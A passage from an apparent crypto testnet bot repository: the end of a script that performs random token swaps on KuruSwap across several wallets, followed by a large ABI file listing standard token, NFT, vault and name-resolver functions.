(percentage / 100); 336 | // Round to 2 decimals 337 | amount = parseFloat(amount.toFixed(2)); 338 | if (amount <= 0) { 339 | console.log(chalk.yellow("⚠️ Calculated amount is 0, skipping this swap.")); 340 | continue; 341 | } 342 | console.log(chalk.cyan(`🔄 Swap: ${selectedToken.symbol} → MON | Amount: ${amount} ${selectedToken.symbol} (${percentage}% of balance)`)); 343 | 344 | // Display balances before swap 345 | const balanceBefore_TOKEN = await getTokenBalance(provider, wallet, selectedToken); 346 | const balanceBefore_MON = await getTokenBalance(provider, wallet, monToken); 347 | console.log(chalk.gray(`Before Swap - [${selectedToken.symbol}]: ${balanceBefore_TOKEN}`)); 348 | console.log(chalk.gray(`Before Swap - [MON]: ${balanceBefore_MON}`)); 349 | 350 | // Force amount to 18 decimals for TOKEN → MON swap 351 | const amountIn = ethers.utils.parseUnits(amount.toString(), 18); 352 | await executeSwap(provider, wallet, selectedToken, monToken, amountIn); 353 | } 354 | // Wait 3 seconds between swaps 355 | await sleep(3000); 356 | // Update balances 357 | monBalance = parseFloat(await getTokenBalance(provider, wallet, monToken)); 358 | for (let token of tokenList) { 359 | if (token.symbol === "MON") continue; 360 | tokenBalances[token.symbol] = parseFloat(await getTokenBalance(provider, wallet, token)); 361 | } 362 | } 363 | } 364 | 365 | /** 366 | * Main function: iterates over each wallet and executes random swaps. 367 | * If a "Signer had insufficient balance" error occurs, the wallet is omitted. 368 | */ 369 | async function main() { 370 | clear(); 371 | console.log(chalk.green.bold("🤖 KuruSwap Random Swaps 🤖")); 372 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 373 | 374 | for (let walletInfo of wallets) { 375 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 376 | try { 377 | await performRandomSwaps(provider, wallet); 378 | } catch (error) { 379 | if (error.message && error.message.includes("insufficient balance")) { 380 | console.error(chalk.red(`Wallet - [${wallet.address}] Doesn't has enoguh funds to pay swap fees. Skipping...`)); 381 | continue; 382 | } else { 383 | console.error(chalk.red("❌ Unexpected error:"), error); 384 | } 385 | } 386 | } 387 | 388 | console.log(chalk.green.bold("\n✅ All random swaps completed!")); 389 | } 390 | 391 | main().catch(error => { 392 | console.error(chalk.red("❌ Unexpected error:"), error); 393 | }); 394 | -------------------------------------------------------------------------------- /actions/NFTs-Mint/MagicEden/ABI.js: -------------------------------------------------------------------------------- 1 | const ABI = [ 2 | { 3 | "inputs": [{ 4 | "components": [ 5 | { "name": "target", "type": "address" }, 6 | { "name": "allowFailure", "type": "bool" }, 7 | { "name": "callData", "type": "bytes" } 8 | ], 9 | "name": "calls", 10 | "type": "tuple[]" 11 | }], 12 | "name": "aggregate3", 13 | "outputs": [{ 14 | "components": [ 15 | { "name": "success", "type": "bool" }, 16 | { "name": "returnData", "type": "bytes" } 17 | ], 18 | "name": "returnData", 19 | "type": "tuple[]" 20 | }], 21 | "stateMutability": "view", 22 | "type": "function" 23 | }, 24 | { 25 | "name": "resolve", 26 | "type": "function", 27 | "stateMutability": "view", 28 | "inputs": [ 29 | { "name": "name", "type": "bytes" }, 30 | { "name": "data", "type": "bytes" } 31 | ], 32 | "outputs": [ 33 | { "name": "", "type": "bytes" }, 34 | { "name": "address", "type": "address" } 35 | ] 36 | }, 37 | { 38 | "name": "resolve", 39 | "type": "function", 40 | "stateMutability": "view", 41 | "inputs": [ 42 | { "name": "name", "type": "bytes" }, 43 | { "name": "data", "type": "bytes" }, 44 | { "name": "gateways", "type": "string[]" } 45 | ], 46 | "outputs": [ 47 | { "name": "", "type": "bytes" }, 48 | { "name": "address", "type": "address" } 49 | ] 50 | }, 51 | { 52 | "name": "reverse", 53 | "type": "function", 54 | "stateMutability": "view", 55 | "inputs": [ 56 | { "name": "reverseName", "type": "bytes" } 57 | ], 58 | "outputs": [ 59 | { "name": "resolvedName", "type": "string" }, 60 | { "name": "resolvedAddress", "type": "address" }, 61 | { "name": "reverseResolver", "type": "address" }, 62 | { "name": "resolver", "type": "address" } 63 | ] 64 | }, 65 | { 66 | "name": "reverse", 67 | "type": "function", 68 | "stateMutability": "view", 69 | "inputs": [ 70 | { "name": "reverseName", "type": "bytes" }, 71 | { "name": "gateways", "type": "string[]" } 72 | ], 73 | "outputs": [ 74 | { "name": "resolvedName", "type": "string" }, 75 | { "name": "resolvedAddress", "type": "address" }, 76 | { "name": "reverseResolver", "type": "address" }, 77 | { "name": "resolver", "type": "address" } 78 | ] 79 | }, 80 | { 81 | "name": "text", 82 | "type": "function", 83 | "stateMutability": "view", 84 | "inputs": [ 85 | { "name": "name", "type": "bytes32" }, 86 | { "name": "key", "type": "string" } 87 | ], 88 | "outputs": [ 89 | { "name": "", "type": "string" } 90 | ] 91 | }, 92 | { 93 | "name": "addr", 94 | "type": "function", 95 | "stateMutability": "view", 96 | "inputs": [ 97 | { "name": "name", "type": "bytes32" } 98 | ], 99 | "outputs": [ 100 | { "name": "", "type": "address" } 101 | ] 102 | }, 103 | { 104 | "name": "addr", 105 | "type": "function", 106 | "stateMutability": "view", 107 | "inputs": [ 108 | { "name": "name", "type": "bytes32" }, 109 | { "name": "coinType", "type": "uint256" } 110 | ], 111 | "outputs": [ 112 | { "name": "", "type": "bytes" } 113 | ] 114 | }, 115 | { 116 | "name": "isValidSignature", 117 | "type": "function", 118 | "stateMutability": "view", 119 | "inputs": [ 120 | { "name": "hash", "type": "bytes32" }, 121 | { "name": "signature", "type": "bytes" } 122 | ], 123 | "outputs": [ 124 | { "name": "", "type": "bytes4" } 125 | ] 126 | }, 127 | { 128 | "name": "isValidSig", 129 | "type": "function", 130 | "stateMutability": "nonpayable", 131 | "inputs": [ 132 | { "name": "_signer", "type": "address" }, 133 | { "name": "_hash", "type": "bytes32" }, 134 | { "name": "_signature", "type": "bytes" } 135 | ], 136 | "outputs": [ 137 | { "type": "bool" } 138 | ] 139 | }, 140 | { 141 | "name": "allowance", 142 | "type": "function", 143 | "stateMutability": "view", 144 | "inputs": [ 145 | { "name": "owner", "type": "address" }, 146 | { "name": "spender", "type": "address" } 147 | ], 148 | "outputs": [ 149 | { "type": "uint256" } 150 | ] 151 | }, 152 | { 153 | "name": "approve", 154 | "type": "function", 155 | "stateMutability": "nonpayable", 156 | "inputs": [ 157 | { "name": "spender", "type": "address" }, 158 | { "name": "amount", "type": "uint256" } 159 | ], 160 | "outputs": [ 161 | { "type": "bool" } 162 | ] 163 | }, 164 | { 165 | "name": "balanceOf", 166 | "type": "function", 167 | "stateMutability": "view", 168 | "inputs": [ 169 | { "name": "account", "type": "address" } 170 | ], 171 | "outputs": [ 172 | { "type": "uint256" } 173 | ] 174 | }, 175 | { 176 | "name": "decimals", 177 | "type": "function", 178 | "stateMutability": "view", 179 | "inputs": [], 180 | "outputs": [ 181 | { "type": "uint8" } 182 | ] 183 | }, 184 | { 185 | "name": "name", 186 | "type": "function", 187 | "stateMutability": "view", 188 | "inputs": [], 189 | "outputs": [ 190 | { "type": "string" } 191 | ] 192 | }, 193 | { 194 | "name": "symbol", 195 | "type": "function", 196 | "stateMutability": "view", 197 | "inputs": [], 198 | "outputs": [ 199 | { "type": "string" } 200 | ] 201 | }, 202 | { 203 | "name": "totalSupply", 204 | "type": "function", 205 | "stateMutability": "view", 206 | "inputs": [], 207 | "outputs": [ 208 | { "type": "uint256" } 209 | ] 210 | }, 211 | { 212 | "name": "transfer", 213 | "type": "function", 214 | "stateMutability": "nonpayable", 215 | "inputs": [ 216 | { "name": "recipient", "type": "address" }, 217 | { "name": "amount", "type": "uint256" } 218 | ], 219 | "outputs": [ 220 | { "type": "bool" } 221 | ] 222 | }, 223 | { 224 | "name": "transferFrom", 225 | "type": "function", 226 | "stateMutability": "nonpayable", 227 | "inputs": [ 228 | { "name": "sender", "type": "address" }, 229 | { "name": "recipient", "type": "address" }, 230 | { "name": "amount", "type": "uint256" } 231 | ], 232 | "outputs": [ 233 | { "type": "bool" } 234 | ] 235 | }, 236 | { 237 | "name": "allowance", 238 | "type": "function", 239 | "stateMutability": "view", 240 | "inputs": [ 241 | { "name": "owner", "type": "address" }, 242 | { "name": "spender", "type": "address" } 243 | ], 244 | "outputs": [ 245 | { "type": "uint256" } 246 | ] 247 | }, 248 | { 249 | "name": "approve", 250 | "type": "function", 251 | "stateMutability": "nonpayable", 252 | "inputs": [ 253 | { "name": "spender", "type": "address" }, 254 | { "name": "amount", "type": "uint256" } 255 | ], 256 | "outputs": [ 257 | { "type": "bool" } 258 | ] 259 | }, 260 | { 261 | "name": "balanceOf", 262 | "type": "function", 263 | "stateMutability": "view", 264 | "inputs": [ 265 | { "name": "account", "type": "address" } 266 | ], 267 | "outputs": [ 268 | { "type": "uint256" } 269 | ] 270 | }, 271 | { 272 | "name": "decimals", 273 | "type": "function", 274 | "stateMutability": "view", 275 | "inputs": [], 276 | "outputs": [ 277 | { "type": "uint8" } 278 | ] 279 | }, 280 | { 281 | "name": "name", 282 | "type": "function", 283 | "stateMutability": "view", 284 | "inputs": [], 285 | "outputs": [ 286 | { "type": "bytes32" } 287 | ] 288 | }, 289 | { 290 | "name": "symbol", 291 | "type": "function", 292 | "stateMutability": "view", 293 | "inputs": [], 294 | "outputs": [ 295 | { "type": "bytes32" } 296 | ] 297 | }, 298 | { 299 | "name": "totalSupply", 300 | "type": "function", 301 | "stateMutability": "view", 302 | "inputs": [], 303 | "outputs": [ 304 | { "type": "uint256" } 305 | ] 306 | }, 307 | { 308 | "name": "transfer", 309 | "type": "function", 310 | "stateMutability": "nonpayable", 311 | "inputs": [ 312 | { "name": "recipient", "type": "address" }, 313 | { "name": "amount", "type": "uint256" } 314 | ], 315 | "outputs": [ 316 | { "type": "bool" } 317 | ] 318 | }, 319 | { 320 | "name": "transferFrom", 321 | "type": "function", 322 | "stateMutability": "nonpayable", 323 | "inputs": [ 324 | { "name": "sender", "type": "address" }, 325 | { "name": "recipient", "type": "address" }, 326 | { "name": "amount", "type": "uint256" } 327 | ], 328 | "outputs": [ 329 | { "type": "bool" } 330 | ] 331 | }, 332 | { 333 | "name": "approve", 334 | "type": "function", 335 | "stateMutability": "payable", 336 | "inputs": [ 337 | { "name": "spender", "type": "address" }, 338 | { "name": "tokenId", "type": "uint256" } 339 | ], 340 | "outputs": [] 341 | }, 342 | { 343 | "name": "balanceOf", 344 | "type": "function", 345 | "stateMutability": "view", 346 | "inputs": [ 347 | { "name": "account", "type": "address" } 348 | ], 349 | "outputs": [ 350 | { "type": "uint256" } 351 | ] 352 | }, 353 | { 354 | "name": "getApproved", 355 | "type": "function", 356 | "stateMutability": "view", 357 | "inputs": [ 358 | { "name": "tokenId", "type": "uint256" } 359 | ], 360 | "outputs": [ 361 | { "type": "address" } 362 | ] 363 | }, 364 | { 365 | "name": "isApprovedForAll", 366 | "type": "function", 367 | "stateMutability": "view", 368 | "inputs": [ 369 | { "name": "owner", "type": "address" }, 370 | { "name": "operator", "type": "address" } 371 | ], 372 | "outputs": [ 373 | { "type": "bool" } 374 | ] 375 | }, 376 | { 377 | "name": "name", 378 | "type": "function", 379 | "stateMutability": "view", 380 | "inputs": [], 381 | "outputs": [ 382 | { "type": "string" } 383 | ] 384 | }, 385 | { 386 | "name": "ownerOf", 387 | "type": "function", 388 | "stateMutability": "view", 389 | "inputs": [ 390 | { "name": "tokenId", "type": "uint256" } 391 | ], 392 | "outputs": [ 393 | { "name": "owner", "type": "address" } 394 | ] 395 | }, 396 | { 397 | "name": "safeTransferFrom", 398 | "type": "function", 399 | "stateMutability": "payable", 400 | "inputs": [ 401 | { "name": "from", "type": "address" }, 402 | { "name": "to", "type": "address" }, 403 | { "name": "tokenId", "type": "uint256" } 404 | ], 405 | "outputs": [] 406 | }, 407 | { 408 | "name": "safeTransferFrom", 409 | "type": "function", 410 | "stateMutability": "nonpayable", 411 | "inputs": [ 412 | { "name": "from", "type": "address" }, 413 | { "name": "to", "type": "address" }, 414 | { "name": "id", "type": "uint256" }, 415 | { "name": "data", "type": "bytes" } 416 | ], 417 | "outputs": [] 418 | }, 419 | { 420 | "name": "setApprovalForAll", 421 | "type": "function", 422 | "stateMutability": "nonpayable", 423 | "inputs": [ 424 | { "name": "operator", "type": "address" }, 425 | { "name": "approved", "type": "bool" } 426 | ], 427 | "outputs": [] 428 | }, 429 | { 430 | "name": "symbol", 431 | "type": "function", 432 | "stateMutability": "view", 433 | "inputs": [], 434 | "outputs": [ 435 | { "type": "string" } 436 | ] 437 | }, 438 | { 439 | "name": "tokenByIndex", 440 | "type": "function", 441 | "stateMutability": "view", 442 | "inputs": [ 443 | { "name": "index", "type": "uint256" } 444 | ], 445 | "outputs": [ 446 | { "type": "uint256" } 447 | ] 448 | }, 449 | { 450 | "name": "tokenByIndex", 451 | "type": "function", 452 | "stateMutability": "view", 453 | "inputs": [ 454 | { "name": "owner", "type": "address" }, 455 | { "name": "index", "type": "uint256" } 456 | ], 457 | "outputs": [ 458 | { "name": "tokenId", "type": "uint256" } 459 | ] 460 | }, 461 | { 462 | "name": "tokenURI", 463 | "type": "function", 464 | "stateMutability": "view", 465 | "inputs": [ 466 | { "name": "tokenId", "type": "uint256" } 467 | ], 468 | "outputs": [ 469 | { "type": "string" } 470 | ] 471 | }, 472 | { 473 | "name": "totalSupply", 474 | "type": "function", 475 | "stateMutability": "view", 476 | "inputs": [], 477 | "outputs": [ 478 | { "type": "uint256" } 479 | ] 480 | }, 481 | { 482 | "name": "transferFrom", 483 | "type": "function", 484 | "stateMutability": "payable", 485 | "inputs": [ 486 | { "name": "sender", "type": "address" }, 487 | { "name": "recipient", "type": "address" }, 488 | { "name": "tokeId", "type": "uint256" } 489 | ], 490 | "outputs": [] 491 | }, 492 | { 493 | "name": "allowance", 494 | "type": "function", 495 | "stateMutability": "view", 496 | "inputs": [ 497 | { "name": "owner", "type": "address" }, 498 | { "name": "spender", "type": "address" } 499 | ], 500 | "outputs": [ 501 | { "type": "uint256" } 502 | ] 503 | }, 504 | { 505 | "name": "approve", 506 | "type": "function", 507 | "stateMutability": "nonpayable", 508 | "inputs": [ 509 | { "name": "spender", "type": "address" }, 510 | { "name": "amount", "type": "uint256" } 511 | ], 512 | "outputs": [ 513 | { "type": "bool" } 514 | ] 515 | }, 516 | { 517 | "name": "asset", 518 | "type": "function", 519 | "stateMutability": "view", 520 | "inputs": [], 521 | "outputs": [ 522 | { "name": "assetTokenAddress", "type": "address" } 523 | ] 524 | }, 525 | { 526 | "name": "balanceOf", 527 | "type": "function", 528 | "stateMutability": "view", 529 | "inputs": [ 530 | { "name": "account", "type": "address" } 531 | ], 532 | "outputs": [ 533 | { "type": "uint256" } 534 | ] 535 | }, 536 | { 537 | "name": "convertToAssets", 538 | "type": "function", 539 | "stateMutability": "view", 540 | "inputs": [ 541 | { "name": "shares", "type": "uint256" } 542 | ], 543 | "outputs": [ 544 | { "name": "assets", "type": "uint256" } 545 | ] 546 | }, 547 | { 548 | "name": "convertToShares", 549 | "type": "function", 550 | "stateMutability": "view", 551 | "inputs": [ 552 | { "name": "assets", "type": "uint256" } 553 | ], 554 | "outputs": [ 555 | { "name": "shares", "type": "uint256" } 556 | ] 557 | }, 558 | { 559 | "name": "deposit", 560 | "type": "function", 561 | "stateMutability": "nonpayable", 562 | "inputs": [ 563 | { "name": "assets", "type": "uint256" }, 564 | { "name": "receiver", "type": "address" } 565 | ], 566 | "outputs": [ 567 | { "name": "shares", "type": "uint256" } 568 | ] 569 | }, 570 | { 571 | "name": "maxDeposit", 572 | "type": "function", 573 | "stateMutability": "view", 574 | "inputs": [ 575 | { "name": "caller", "type": "address" } 576 | ], 577 | "outputs": [ 578 | { "name": "maxAssets", "type": "uint256" } 579 | ] 580 | }, 581 | { 582 | "name": "maxMint", 583 | "type": "function", 584 | "stateMutability": "view", 585 | "inputs": [ 586 | { "name": "caller", "type": "address" } 587 | ], 588 | "outputs": [ 589 | { "name": "maxShares", "type": "uint256" } 590 | ] 591 | }, 592 | { 593 | "name": "maxRedeem", 594 | "type": "function", 595 | "stateMutability": "view", 596 | "inputs": [ 597 | { "name": "owner", "type": "address" } 598 | ], 599 | "outputs": [ 600 | { "name": "maxShares", "type": "uint256" } 601 | ] 602 | }, 603 | { 604 | "name": "maxWithdraw", 605 | "type": "function", 606 | "stateMutability": "view", 607 | "inputs": [ 608 | { "name": "owner", "type": "address" } 609 | ], 610 | "outputs": [ 611 | { "name": "maxAssets", "type": "uint256" } 612 | ] 613 | }, 614 | { 615 | "name": "mint", 616 | "type": "function", 617 | "stateMutability": "nonpayable", 618 | "inputs": [ 619 | { "name": "shares", "type": "uint256" }, 620 | { "name": "receiver", "type": "address" } 621 | ], 622 | "outputs": [ 623 | { "name": "assets", "type": "uint256" } 624 | ] 625 | }, 626 | { 627 | "name": "previewDeposit", 628 | "type": "function", 629 | "stateMutability": "view", 630 | "inputs": [ 631 | { "name": "assets", "type": "uint256" } 632 | ], 633 | "outputs": [ 634 | { "name": "shares", "type": "uint256" } 635 | ] 636 | }, 637 | { 638 | "name": "previewMint", 639 | "type": "function", 640 | "stateMutability": "view", 641 | "inputs": [ 642 | { "name": "shares", "type": "uint256" } 643 | ], 644 | "outputs": [ 645 | { "name": "assets", "type": "uint256" } 646 | ] 647 | }, 648 | { 649 | "name": "previewRedeem", 650 | "type": "function", 651 | "stateMutability": "view", 652 | "inputs": [ 653 | { "name": "shares", "type": "uint256" } 654 | ], 655 | "outputs": [ 656 | { "name": "assets", "type": "uint256" } 657 | ] 658 | }, 659 | { 660 | "name": "previewWithdraw", 661 | "type": "function", 662 | "stateMutability": "view", 663 | "inputs": [ 664 | { "name": "assets", "type": "uint256" } 665 | ], 666 | "outputs": [ 667 | { "name": "shares", "type": "uint256" } 668 | ] 669 | }, 670 | { 671 | "name": "redeem", 672 | "type": "function", 673 | "stateMutability": "nonpayable", 674 | "inputs": [ 675 | { "name": "shares", "type": "uint256" }, 676 | { "name": "receiver", "type": "address" }, 677 | { "name": "owner", "type": "address" } 678 | ], 679 | "outputs": [ 680 | { "name": "assets", "type": "uint256" } 681 | ] 682 | }, 683 | { 684 | "name": "totalAssets", 685 | "type": "function", 686 | "stateMutability": "view", 687 | "inputs": [], 688 | "outputs": [ 689 | { "name": "totalManagedAssets", "type": "uint256" } 690 | ] 691 | }, 692 | { 693 | "name": "totalSupply", 694 | "type": "function", 695 | "stateMutability": "view", 696 | "inputs": [], 697 | "outputs": [ 698 | { "type": "uint256" } 699 | ] 700 | }, 701 | { 702 | "name": "transfer", 703 | "type": "function", 704 | "stateMutability": "nonpayable", 705 | "inputs": [ 706 | { "name": "to", "type": "address" }, 707 | { "name": "amount", "type": "uint256" } 708 | ], 709 | "outputs": [ 710 | { "type": "bool" } 711 | ] 712 | }, 713 | { 714 | "name": "transferFrom", 715 | "type": "function", 716 | "stateMutability": "nonpayable", 717 | "inputs": [ 718 | { "name": "from", "type": "address" }, 719 | { "name": "to", "type": "address" }, 720 | { "name": "amount", "type": "uint256" } 721 | ], 722 | "outputs": [ 723 | { "type": "bool" } 724 | ] 725 | }, 726 | { 727 | "name": "withdraw", 728 | "type": "function", 729 | "stateMutability": "nonpayable", 730 | "inputs": [ 731 | { "name": "assets", "type": "uint256" }, 732 | { "name": "receiver", "type": "address" }, 733 | { "name": "owner", "type": "address" } 734 | ], 735 | "outputs": [ 736 | { "name": "shares", "type": "uint256" } 737 | ] 738 | } 739 | ]; 740 | 741 | module.exports = ABI; 742 | --------------------------------------------------------------------------------